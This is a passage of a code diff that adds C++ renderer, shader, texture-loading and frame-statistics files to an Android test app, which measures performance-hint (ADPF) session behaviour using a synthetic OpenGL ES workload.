+ display_ = EGL_NO_DISPLAY;
+ }
+}
+
+jlong Renderer::render() {
+ // Check to see if the surface has changed size. This is _necessary_ to do every frame when
+ // using immersive mode as you'll get no other notification that your renderable area has
+ // changed.
+
+ updateRenderArea();
+ assert(display_ != nullptr);
+ assert(surface_ != nullptr);
+ assert(shader_ != nullptr);
+
+ // When the renderable area changes, the fprojection matrix has to also be updated. This is true
+ // even if you change from the sample orthographic projection matrix as your aspect ratio has
+ // likely changed.
+ if (shaderNeedsNewProjectionMatrix_) {
+ // a placeholder projection matrix allocated on the stack. Column-major memory layout
+ float projectionMatrix[16] = {0};
+
+ // build an orthographic projection matrix for 2d rendering
+ Utility::buildOrthographicMatrix(projectionMatrix, kProjectionHalfHeight,
+ float(width_) / height_, kProjectionNearPlane,
+ kProjectionFarPlane);
+
+ // send the matrix to the shader
+ // Note: the shader must be active for this to work.
+ assert(projectionMatrix != nullptr);
+
+ if (shader_ != nullptr) {
+ shader_->setProjectionMatrix(projectionMatrix);
+ }
+
+ // make sure the matrix isn't generated every frame
+ shaderNeedsNewProjectionMatrix_ = false;
+ }
+
+ // clear the color buffer
+ glClear(GL_COLOR_BUFFER_BIT);
+
+ // Rotate the models
+ const std::chrono::steady_clock::duration rpm = 2s;
+ static std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now();
+ std::chrono::steady_clock::time_point renderTime = std::chrono::steady_clock::now();
+ // Figure out what angle the models need to be at
+ std::chrono::steady_clock::duration offset = (renderTime - startTime) % rpm;
+ auto spin = static_cast<double>(offset.count()) / static_cast<double>(rpm.count());
+
+ // Render all the models. There's no depth testing in this sample so they're accepted in the
+ // order provided. But the sample EGL setup requests a 24 bit depth buffer so you could
+ // configure it at the end of initRenderer
+ auto start = std::chrono::steady_clock::now();
+
+ if (!heads_.empty()) {
+ for (auto &model : heads_) {
+ model.setRotation(M_PI * 2.0 * spin);
+ shader_->drawModel(model);
+ }
+ }
+
+ auto end = std::chrono::steady_clock::now();
+
+ // Present the rendered image. This is an implicit glFlush.
+ auto swapResult = eglSwapBuffers(display_, surface_);
+ assert(swapResult == EGL_TRUE);
+ return (end - start).count();
+}
+
+void Renderer::initRenderer() {
+ // Choose your render attributes
+ constexpr EGLint attribs[] = {EGL_RENDERABLE_TYPE,
+ EGL_OPENGL_ES3_BIT,
+ EGL_SURFACE_TYPE,
+ EGL_WINDOW_BIT,
+ EGL_BLUE_SIZE,
+ 8,
+ EGL_GREEN_SIZE,
+ 8,
+ EGL_RED_SIZE,
+ 8,
+ EGL_DEPTH_SIZE,
+ 24,
+ EGL_NONE};
+
+ // The default display is probably what you want on Android
+ auto display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+ eglInitialize(display, nullptr, nullptr);
+
+ // figure out how many configs there are
+ EGLint numConfigs;
+ eglChooseConfig(display, attribs, nullptr, 0, &numConfigs);
+
+ // get the list of configurations
+ std::unique_ptr<EGLConfig[]> supportedConfigs(new EGLConfig[numConfigs]);
+ eglChooseConfig(display, attribs, supportedConfigs.get(), numConfigs, &numConfigs);
+
+ // Find a config we like.
+ // Could likely just grab the first if we don't care about anything else in the config.
+ // Otherwise hook in your own heuristic
+ auto config =
+ *std::find_if(supportedConfigs.get(), supportedConfigs.get() + numConfigs,
+ [&display](const EGLConfig &config) {
+ EGLint red, green, blue, depth;
+ if (eglGetConfigAttrib(display, config, EGL_RED_SIZE, &red) &&
+ eglGetConfigAttrib(display, config, EGL_GREEN_SIZE, &green) &&
+ eglGetConfigAttrib(display, config, EGL_BLUE_SIZE, &blue) &&
+ eglGetConfigAttrib(display, config, EGL_DEPTH_SIZE, &depth)) {
+ aout << "Found config with " << red << ", " << green << ", "
+ << blue << ", " << depth << std::endl;
+ return red == 8 && green == 8 && blue == 8 && depth == 24;
+ }
+ return false;
+ });
+
+ // create the proper window surface
+ EGLint format;
+ eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format);
+ EGLSurface surface = eglCreateWindowSurface(display, config, app_->window, nullptr);
+
+ // Create a GLES 3 context
+ EGLint contextAttribs[] = {EGL_CONTEXT_CLIENT_VERSION, 3, EGL_NONE};
+ EGLContext context = eglCreateContext(display, config, nullptr, contextAttribs);
+
+ // get some window metrics
+ auto madeCurrent = eglMakeCurrent(display, surface, surface, context);
+ assert(madeCurrent);
+
+ display_ = display;
+ surface_ = surface;
+ context_ = context;
+
+ // make width and height invalid so it gets updated the first frame in @a updateRenderArea()
+ width_ = -1;
+ height_ = -1;
+
+ PRINT_GL_STRING(GL_VENDOR);
+ PRINT_GL_STRING(GL_RENDERER);
+ PRINT_GL_STRING(GL_VERSION);
+ PRINT_GL_STRING_AS_LIST(GL_EXTENSIONS);
+
+ shader_ = std::unique_ptr<Shader>(
+ Shader::loadShader(vertex, fragment, "inPosition", "inUV", "uProjection"));
+ assert(shader_);
+
+ // Note: there's only one shader in this demo, so I'll activate it here. For a more complex game
+ // you'll want to track the active shader and activate/deactivate it as necessary
+ shader_->activate();
+
+ // setup any other gl related global states
+ glClearColor(CORNFLOWER_BLUE);
+
+ // enable alpha globally for now, you probably don't want to do this in a game
+ glEnable(GL_BLEND);
+ glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
+
+ // get some demo models into memory
+ // setNumHeads(1000);
+}
+
+void Renderer::updateRenderArea() {
+ EGLint width;
+ eglQuerySurface(display_, surface_, EGL_WIDTH, &width);
+
+ EGLint height;
+ eglQuerySurface(display_, surface_, EGL_HEIGHT, &height);
+
+ if (width != width_ || height != height_) {
+ width_ = width;
+ height_ = height;
+ glViewport(0, 0, width, height);
+
+ // make sure that we lazily recreate the projection matrix before we render
+ shaderNeedsNewProjectionMatrix_ = true;
+ }
+}
+
+void Renderer::addHead() {
+ thread_local auto assetManager = app_->activity->assetManager;
+ thread_local auto spAndroidRobotTexture = TextureAsset::loadAsset(assetManager, "android.png");
+ thread_local std::vector<Vertex> vertices = {
+ Vertex(Vector3{{0.3, 0.3, 0}}, Vector2{{0, 0}}), // 0
+ Vertex(Vector3{{-0.3, 0.3, 0}}, Vector2{{1, 0}}), // 1
+ Vertex(Vector3{{-0.3, -0.3, 0}}, Vector2{{1, 1}}), // 2
+ Vertex(Vector3{{0.3, -0.3, 0}}, Vector2{{0, 1}}) // 3
+ };
+ thread_local std::vector<Index> indices = {0, 1, 2, 0, 2, 3};
+ thread_local Model baseModel{vertices, indices, spAndroidRobotTexture};
+ float angle = 2 * M_PI * (static_cast<float>(rand()) / static_cast<float>(RAND_MAX));
+ float x = 1.5 * static_cast<float>(rand()) / static_cast<float>(RAND_MAX) - 0.75;
+ float y = 3.0 * static_cast<float>(rand()) / static_cast<float>(RAND_MAX) - 1.5;
+ Vector3 offset{{x, y, 0}};
+ Model toAdd{baseModel};
+ toAdd.move(offset);
+ toAdd.setRotationOffset(angle);
+ heads_.push_back(toAdd);
+}
+
+void Renderer::setNumHeads(int headCount) {
+ if (headCount > heads_.size()) {
+ int to_add = headCount - heads_.size();
+ for (int i = 0; i < to_add; ++i) {
+ addHead();
+ }
+ } else if (headCount < heads_.size()) {
+ heads_.erase(heads_.begin() + headCount, heads_.end());
+ }
+}
+
+bool Renderer::getAdpfSupported() {
+ if (hintManager_ == nullptr) {
+ hintManager_ = APerformanceHint_getManager();
+ }
+ long preferredRate = APerformanceHint_getPreferredUpdateRateNanos(hintManager_);
+ results_["isHintSessionSupported"] = preferredRate < 0 ? "false" : "true";
+ results_["preferredRate"] = std::to_string(preferredRate);
+ return preferredRate >= 0;
+}
+
+void Renderer::startHintSession(std::vector<int32_t> &tids, int64_t target) {
+ if (hintManager_ == nullptr) {
+ hintManager_ = APerformanceHint_getManager();
+ }
+ if (hintSession_ == nullptr && hintManager_ != nullptr) {
+ lastTarget_ = target;
+ hintSession_ =
+ APerformanceHint_createSession(hintManager_, tids.data(), tids.size(), target);
+ }
+}
+
+void Renderer::reportActualWorkDuration(int64_t duration) {
+ if (isHintSessionRunning()) {
+ int ret = APerformanceHint_reportActualWorkDuration(hintSession_, duration);
+ if (ret < 0) {
+ Utility::setFailure("Failed to report actual work duration with code " +
+ std::to_string(ret),
+ this);
+ }
+ }
+}
+
+void Renderer::updateTargetWorkDuration(int64_t target) {
+ lastTarget_ = target;
+ if (isHintSessionRunning()) {
+ int ret = APerformanceHint_updateTargetWorkDuration(hintSession_, target);
+ if (ret < 0) {
+ Utility::setFailure("Failed to update target duration with code " + std::to_string(ret),
+ this);
+ }
+ }
+}
+
+int64_t Renderer::getTargetWorkDuration() {
+ return lastTarget_;
+}
+
+bool Renderer::isHintSessionRunning() {
+ return hintSession_ != nullptr;
+}
+
+void Renderer::closeHintSession() {
+ APerformanceHint_closeSession(hintSession_);
+}
+
+void Renderer::addResult(std::string name, std::string value) {
+ results_[name] = value;
+}
+
+std::map<std::string, std::string> &Renderer::getResults() {
+ return results_;
+}
+
+void Renderer::setBaselineMedian(int64_t median) {
+ baselineMedian_ = median;
+}
+
+template <typename T>
+T getMedian(std::vector<T> values) {
+ std::sort(values.begin(), values.end());
+ return values[values.size() / 2];
+}
+
+FrameStats Renderer::getFrameStats(std::vector<int64_t> &durations, std::vector<int64_t> &intervals,
+ std::string &testName) {
+ FrameStats stats;
+ // Double precision is int-precise up to 2^52 so we should be fine for this range
+ double sum = std::accumulate(durations.begin(), durations.end(), 0);
+ double mean = static_cast<double>(sum) / static_cast<double>(durations.size());
+ int dropCount = 0;
+ double varianceSum = 0;
+ for (int64_t &duration : durations) {
+ if (isHintSessionRunning() && duration > lastTarget_) {
+ ++dropCount;
+ }
+ varianceSum += (duration - mean) * (duration - mean);
+ }
+ if (durations.size() > 0) {
+ stats.medianWorkDuration = getMedian(durations);
+ }
+ if (intervals.size() > 0) {
+ stats.medianFrameInterval = getMedian(intervals);
+ }
+ stats.deviation = std::sqrt(varianceSum / static_cast<double>(durations.size() - 1));
+ if (isHintSessionRunning()) {
+ stats.exceededCount = dropCount;
+ stats.exceededFraction =
+ static_cast<double>(dropCount) / static_cast<double>(durations.size());
+ stats.efficiency = static_cast<double>(sum) /
+ static_cast<double>(durations.size() * std::min(lastTarget_, baselineMedian_));
+ }
+
+ if (testName.size() > 0) {
+ addResult(testName + "_median", std::to_string(stats.medianWorkDuration));
+ addResult(testName + "_median_interval", std::to_string(stats.medianFrameInterval));
+ addResult(testName + "_deviation", std::to_string(stats.deviation));
+ if (isHintSessionRunning()) {
+ addResult(testName + "_target", std::to_string(getTargetWorkDuration()));
+ addResult(testName + "_target_exceeded_count", std::to_string(*stats.exceededCount));
+ addResult(testName + "_target_exceeded_fraction",
+ std::to_string(*stats.exceededFraction));
+ addResult(testName + "_efficiency", std::to_string(*stats.efficiency));
+ }
+ }
+
+ return stats;
+}
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.h b/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.h
new file mode 100644
index 0000000..20dbef4
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.h
@@ -0,0 +1,156 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <EGL/egl.h>
+#include <android/performance_hint.h>
+#include <jni.h>
+
+#include <chrono>
+#include <map>
+#include <memory>
+#include <optional>
+
+#include "Model.h"
+#include "Shader.h"
+#include "external/android_native_app_glue.h"
+
+struct android_app;
+
+struct FrameStats {
+ // Median of the durations
+ int64_t medianWorkDuration;
+ // Median of the intervals
+ int64_t medianFrameInterval;
+ // Standard deviation of a given run
+ double deviation;
+ // The total number of frames that exceeded target
+ std::optional<int64_t> exceededCount;
+ // The percent of frames that exceeded target
+ std::optional<double> exceededFraction;
+ // Efficiency of a given run is calculated by how close to min(target, baseline) the median is
+ std::optional<double> efficiency;
+};
+
+class Renderer {
+public:
+ /*!
+ * @param pApp the android_app this Renderer belongs to, needed to configure GL
+ */
+ inline Renderer(android_app *pApp)
+ : app_(pApp),
+ display_(EGL_NO_DISPLAY),
+ surface_(EGL_NO_SURFACE),
+ context_(EGL_NO_CONTEXT),
+ width_(0),
+ height_(0),
+ shaderNeedsNewProjectionMatrix_(true) {
+ initRenderer();
+ }
+
+ virtual ~Renderer();
+
+ /*!
+ * Renders all the models in the renderer, returns time spent waiting for CPU work
+ * to finish.
+ */
+ jlong render();
+
+ void startHintSession(std::vector<pid_t> &threads, int64_t target);
+ void closeHintSession();
+ void reportActualWorkDuration(int64_t duration);
+ void updateTargetWorkDuration(int64_t target);
+ bool isHintSessionRunning();
+ int64_t getTargetWorkDuration();
+
+ /*!
+ * Sets the number of android "heads" in the scene, these are used to create a synthetic
+ * workload that scales with performance, and by adjusting the number of them, the test can
+ * adjust the amount of stress to place the system under.
+ */
+ void setNumHeads(int headCount);
+
+ /*!
+ * Adds an entry to the final result map that gets passed up to the Java side of the app, and
+ * eventually to the test runner.
+ */
+ void addResult(std::string name, std::string value);
+
+ /*!
+ * Retrieve the results map.
+ */
+ std::map<std::string, std::string> &getResults();
+
+ /*!
+ * Informs the test whether ADPF is supported on a given device.
+ */
+ bool getAdpfSupported();
+
+ /*
+ * Finds the test settings that best match this device, and returns the
+ * duration of the frame's work
+ */
+ double calibrate(int &events, android_poll_source *pSource);
+
+ /*!
+ * Sets the baseline median, used to determine efficiency score
+ */
+ void setBaselineMedian(int64_t median);
+
+ /*!
+ * Calculates the above frame stats for a given run
+ */
+ FrameStats getFrameStats(std::vector<int64_t> &durations, std::vector<int64_t> &intervals,
+ std::string &testName);
+
+private:
+ /*!
+ * Performs necessary OpenGL initialization. Customize this if you want to change your EGL
+ * context or application-wide settings.
+ */
+ void initRenderer();
+
+ /*!
+ * @brief we have to check every frame to see if the framebuffer has changed in size. If it has,
+ * update the viewport accordingly
+ */
+ void updateRenderArea();
+
+ /*!
+ * Adds an android "head" to the scene.
+ */
+ void addHead();
+
+ android_app *app_;
+ EGLDisplay display_;
+ EGLSurface surface_;
+ EGLContext context_;
+ EGLint width_;
+ EGLint height_;
+ APerformanceHintSession *hintSession_ = nullptr;
+ APerformanceHintManager *hintManager_ = nullptr;
+ int64_t lastTarget_ = 0;
+ int64_t baselineMedian_ = 0;
+
+ bool shaderNeedsNewProjectionMatrix_;
+
+ std::unique_ptr<Shader> shader_;
+ std::vector<Model> heads_;
+
+ // Hold on to the results object in the renderer, so
+ // we can reach the data anywhere in the rendering step.
+ std::map<std::string, std::string> results_;
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Shader.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/Shader.cpp
new file mode 100644
index 0000000..c575735
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Shader.cpp
@@ -0,0 +1,164 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "Shader.h"
+
+#include <chrono>
+#include <thread>
+
+#include "AndroidOut.h"
+#include "Model.h"
+#include "Utility.h"
+using namespace std::chrono_literals;
+
+Shader *Shader::loadShader(const std::string &vertexSource, const std::string &fragmentSource,
+ const std::string &positionAttributeName,
+ const std::string &uvAttributeName,
+ const std::string &projectionMatrixUniformName) {
+ Shader *shader = nullptr;
+
+ GLuint vertexShader = loadShader(GL_VERTEX_SHADER, vertexSource);
+ if (!vertexShader) {
+ return nullptr;
+ }
+
+ GLuint fragmentShader = loadShader(GL_FRAGMENT_SHADER, fragmentSource);
+ if (!fragmentShader) {
+ glDeleteShader(vertexShader);
+ return nullptr;
+ }
+
+ GLuint program = glCreateProgram();
+ if (program) {
+ aout << "Program created!" << std::endl;
+ glAttachShader(program, vertexShader);
+ glAttachShader(program, fragmentShader);
+
+ glLinkProgram(program);
+ GLint linkStatus = GL_FALSE;
+ glGetProgramiv(program, GL_LINK_STATUS, &linkStatus);
+ if (linkStatus != GL_TRUE) {
+ GLint logLength = 0;
+ glGetProgramiv(program, GL_INFO_LOG_LENGTH, &logLength);
+
+ // If we fail to link the shader program, log the result for debugging
+ if (logLength) {
+ GLchar *log = new GLchar[logLength];
+ glGetProgramInfoLog(program, logLength, nullptr, log);
+ aout << "Failed to link program with:\n" << log << std::endl;
+ delete[] log;
+ }
+
+ glDeleteProgram(program);
+ } else {
+ // Get the attribute and uniform locations by name. You may also choose to hardcode
+ // indices with layout= in your shader, but it is not done in this sample
+ GLint positionAttribute = glGetAttribLocation(program, positionAttributeName.c_str());
+ GLint uvAttribute = glGetAttribLocation(program, uvAttributeName.c_str());
+ GLint projectionMatrixUniform =
+ glGetUniformLocation(program, projectionMatrixUniformName.c_str());
+
+ // Only create a new shader if all the attributes are found.
+ if (positionAttribute != -1 && uvAttribute != -1 && projectionMatrixUniform != -1) {
+ shader = new Shader(program, positionAttribute, uvAttribute,
+ projectionMatrixUniform);
+ } else {
+ glDeleteProgram(program);
+ }
+ }
+ }
+
+ // The shaders are no longer needed once the program is linked. Release their memory.
+ glDeleteShader(vertexShader);
+ glDeleteShader(fragmentShader);
+
+ return shader;
+}
+
+GLuint Shader::loadShader(GLenum shaderType, const std::string &shaderSource) {
+ Utility::assertGlError();
+ GLuint shader = glCreateShader(shaderType);
+ if (shader) {
+ auto *shaderRawString = (GLchar *)shaderSource.c_str();
+ GLint shaderLength = shaderSource.length();
+ glShaderSource(shader, 1, &shaderRawString, &shaderLength);
+ glCompileShader(shader);
+
+ GLint shaderCompiled = 0;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &shaderCompiled);
+
+ // If the shader doesn't compile, log the result to the terminal for debugging
+ if (!shaderCompiled) {
+ GLint infoLength = 0;
+ glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &infoLength);
+
+ if (infoLength) {
+ auto *infoLog = new GLchar[infoLength];
+ glGetShaderInfoLog(shader, infoLength, nullptr, infoLog);
+ aout << "Failed to compile with:\n" << infoLog << std::endl;
+ delete[] infoLog;
+ }
+
+ glDeleteShader(shader);
+ shader = 0;
+ }
+ }
+ return shader;
+}
+
+void Shader::activate() const {
+ glUseProgram(program_);
+}
+
+void Shader::deactivate() const {
+ glUseProgram(0);
+}
+
+void Shader::drawModel(const Model &model) const {
+ // The position attribute is 3 floats
+ glVertexAttribPointer(position_, // attrib
+ 3, // elements
+ GL_FLOAT, // of type float
+ GL_FALSE, // don't normalize
+ sizeof(Vertex), // stride is Vertex bytes
+ model.getVertexData() // pull from the start of the vertex data
+ );
+ glEnableVertexAttribArray(position_);
+
+ // The uv attribute is 2 floats
+ glVertexAttribPointer(uv_, // attrib
+ 2, // elements
+ GL_FLOAT, // of type float
+ GL_FALSE, // don't normalize
+ sizeof(Vertex), // stride is Vertex bytes
+ ((uint8_t *)model.getVertexData()) +
+ sizeof(Vector3) // offset Vector3 from the start
+ );
+ glEnableVertexAttribArray(uv_);
+
+ // Setup the texture
+ glActiveTexture(GL_TEXTURE0);
+ glBindTexture(GL_TEXTURE_2D, model.getTexture().getTextureID());
+
+ // Draw as indexed triangles
+ glDrawElements(GL_TRIANGLES, model.getIndexCount(), GL_UNSIGNED_SHORT, model.getIndexData());
+
+ glDisableVertexAttribArray(uv_);
+ glDisableVertexAttribArray(position_);
+}
+
+void Shader::setProjectionMatrix(float *projectionMatrix) const {
+ glUniformMatrix4fv(projectionMatrix_, 1, false, projectionMatrix);
+}
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Shader.h b/hostsidetests/adpf/app/hintsession/src/cpp/Shader.h
new file mode 100644
index 0000000..cb685e9
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Shader.h
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <GLES3/gl3.h>
+
+#include <string>
+
+class Model;
+class Renderer;
+
+/*!
+ * A class representing a simple shader program. It consists of vertex and fragment components. The
+ * input attributes are a position (as a Vector3) and a uv (as a Vector2). It also takes a uniform
+ * to be used as the entire model/view/projection matrix. The shader expects a single texture for
+ * fragment shading, and does no other lighting calculations (thus no uniforms for lights or normal
+ * attributes).
+ */
+class Shader {
+public:
+ friend Renderer;
+ /*!
+ * Loads a shader given the full sourcecode and names for necessary attributes and uniforms to
+ * link to. Returns a valid shader on success or null on failure. Shader resources are
+ * automatically cleaned up on destruction.
+ *
+ * @param vertexSource The full source code for your vertex program
+ * @param fragmentSource The full source code of your fragment program
+ * @param positionAttributeName The name of the position attribute in your vertex program
+ * @param uvAttributeName The name of the uv coordinate attribute in your vertex program
+ * @param projectionMatrixUniformName The name of your model/view/projection matrix uniform
+ * @return a valid Shader on success, otherwise null.
+ */
+ static Shader *loadShader(const std::string &vertexSource, const std::string &fragmentSource,
+ const std::string &positionAttributeName,
+ const std::string &uvAttributeName,
+ const std::string &projectionMatrixUniformName);
+
+ inline ~Shader() {
+ if (program_) {
+ glDeleteProgram(program_);
+ program_ = 0;
+ }
+ }
+
+ /*!
+ * Prepares the shader for use, call this before executing any draw commands
+ */
+ void activate() const;
+
+ /*!
+ * Cleans up the shader after use, call this after executing any draw commands
+ */
+ void deactivate() const;
+
+ /*!
+ * Renders a single model
+ * @param model a model to render
+ */
+ void drawModel(const Model &model) const;
+
+ /*!
+ * Sets the model/view/projection matrix in the shader.
+ * @param projectionMatrix sixteen floats, column major, defining an OpenGL projection matrix.
+ */
+ void setProjectionMatrix(float *projectionMatrix) const;
+
+private:
+ /*!
+ * Helper function to load a shader of a given type
+ * @param shaderType The OpenGL shader type. Should either be GL_VERTEX_SHADER or
+ * GL_FRAGMENT_SHADER
+ * @param shaderSource The full source of the shader
+ * @return the id of the shader, as returned by glCreateShader, or 0 in the case of an error
+ */
+ static GLuint loadShader(GLenum shaderType, const std::string &shaderSource);
+
+ /*!
+ * Constructs a new instance of a shader. Use @a loadShader
+ * @param program the GL program id of the shader
+ * @param position the attribute location of the position
+ * @param uv the attribute location of the uv coordinates
+ * @param projectionMatrix the uniform location of the projection matrix
+ */
+ constexpr Shader(GLuint program, GLint position, GLint uv, GLint projectionMatrix)
+ : program_(program), position_(position), uv_(uv), projectionMatrix_(projectionMatrix) {}
+
+ GLuint program_;
+ GLint position_;
+ GLint uv_;
+ GLint projectionMatrix_;
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.cpp
new file mode 100644
index 0000000..18262d2
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.cpp
@@ -0,0 +1,90 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "TextureAsset.h"
+
+#include <android/imagedecoder.h>
+
+#include "AndroidOut.h"
+#include "Utility.h"
+
+std::shared_ptr<TextureAsset> TextureAsset::loadAsset(AAssetManager *assetManager,
+ const std::string &assetPath) {
+ // Get the image from asset manager
+ auto pAndroidRobotPng = AAssetManager_open(assetManager, assetPath.c_str(), AASSET_MODE_BUFFER);
+
+ // Make a decoder to turn it into a texture
+ AImageDecoder *pAndroidDecoder = nullptr;
+ auto result = AImageDecoder_createFromAAsset(pAndroidRobotPng, &pAndroidDecoder);
+ assert(result == ANDROID_IMAGE_DECODER_SUCCESS);
+
+ // make sure we get 8 bits per channel out. RGBA order.
+ AImageDecoder_setAndroidBitmapFormat(pAndroidDecoder, ANDROID_BITMAP_FORMAT_RGBA_8888);
+
+ // Get the image header, to help set everything up
+ const AImageDecoderHeaderInfo *pAndroidHeader = nullptr;
+ pAndroidHeader = AImageDecoder_getHeaderInfo(pAndroidDecoder);
+
+ // important metrics for sending to GL
+ auto width = AImageDecoderHeaderInfo_getWidth(pAndroidHeader);
+ auto height = AImageDecoderHeaderInfo_getHeight(pAndroidHeader);
+ auto stride = AImageDecoder_getMinimumStride(pAndroidDecoder);
+
+ // Get the bitmap data of the image
+ auto upAndroidImageData = std::make_unique<std::vector<uint8_t>>(height * stride);
+ auto decodeResult = AImageDecoder_decodeImage(pAndroidDecoder, upAndroidImageData->data(),
+ stride, upAndroidImageData->size());
+ assert(decodeResult == ANDROID_IMAGE_DECODER_SUCCESS);
+
+ // Get an opengl texture
+ GLuint textureId;
+ glGenTextures(1, &textureId);
+ glBindTexture(GL_TEXTURE_2D, textureId);
+
+ // Clamp to the edge, you'll get odd results alpha blending if you don't
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
+
+ // Load the texture into VRAM
+ glTexImage2D(GL_TEXTURE_2D, // target
+ 0, // mip level
+ GL_RGBA, // internal format, often advisable to use BGR
+ width, // width of the texture
+ height, // height of the texture
+ 0, // border (always 0)
+ GL_RGBA, // format
+ GL_UNSIGNED_BYTE, // type
+ upAndroidImageData->data() // Data to upload
+ );
+
+ // generate mip levels. Not really needed for 2D, but good to do
+ glGenerateMipmap(GL_TEXTURE_2D);
+
+ // cleanup helpers
+ AImageDecoder_delete(pAndroidDecoder);
+ AAsset_close(pAndroidRobotPng);
+
+ // Create a shared pointer so it can be cleaned up easily/automatically
+ return std::shared_ptr<TextureAsset>(new TextureAsset(textureId));
+}
+
+TextureAsset::~TextureAsset() {
+ // return texture resources
+ glDeleteTextures(1, &textureID_);
+ textureID_ = 0;
+}
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.h b/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.h
new file mode 100644
index 0000000..16851c2
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/TextureAsset.h
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <GLES3/gl3.h>
+#include <android/asset_manager.h>
+
+#include <memory>
+#include <string>
+#include <vector>
+
+class TextureAsset {
+public:
+ /*!
+ * Loads a texture asset from the assets/ directory
+ * @param assetManager Asset manager to use
+ * @param assetPath The path to the asset
+ * @return a shared pointer to a texture asset, resources will be reclaimed when it's cleaned up
+ */
+ static std::shared_ptr<TextureAsset> loadAsset(AAssetManager *assetManager,
+ const std::string &assetPath);
+
+ ~TextureAsset();
+
+ /*!
+ * @return the texture id for use with OpenGL
+ */
+ constexpr GLuint getTextureID() const { return textureID_; }
+
+private:
+ inline TextureAsset(GLuint textureId) : textureID_(textureId) {}
+
+ GLuint textureID_;
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Utility.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/Utility.cpp
new file mode 100644
index 0000000..93aad90
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Utility.cpp
@@ -0,0 +1,119 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "Utility.h"
+
+#include <GLES3/gl3.h>
+
+#include "AndroidOut.h"
+#include "JNIManager.h"
+#include "Renderer.h"
+
+#define CHECK_ERROR(e) \
+ case e: \
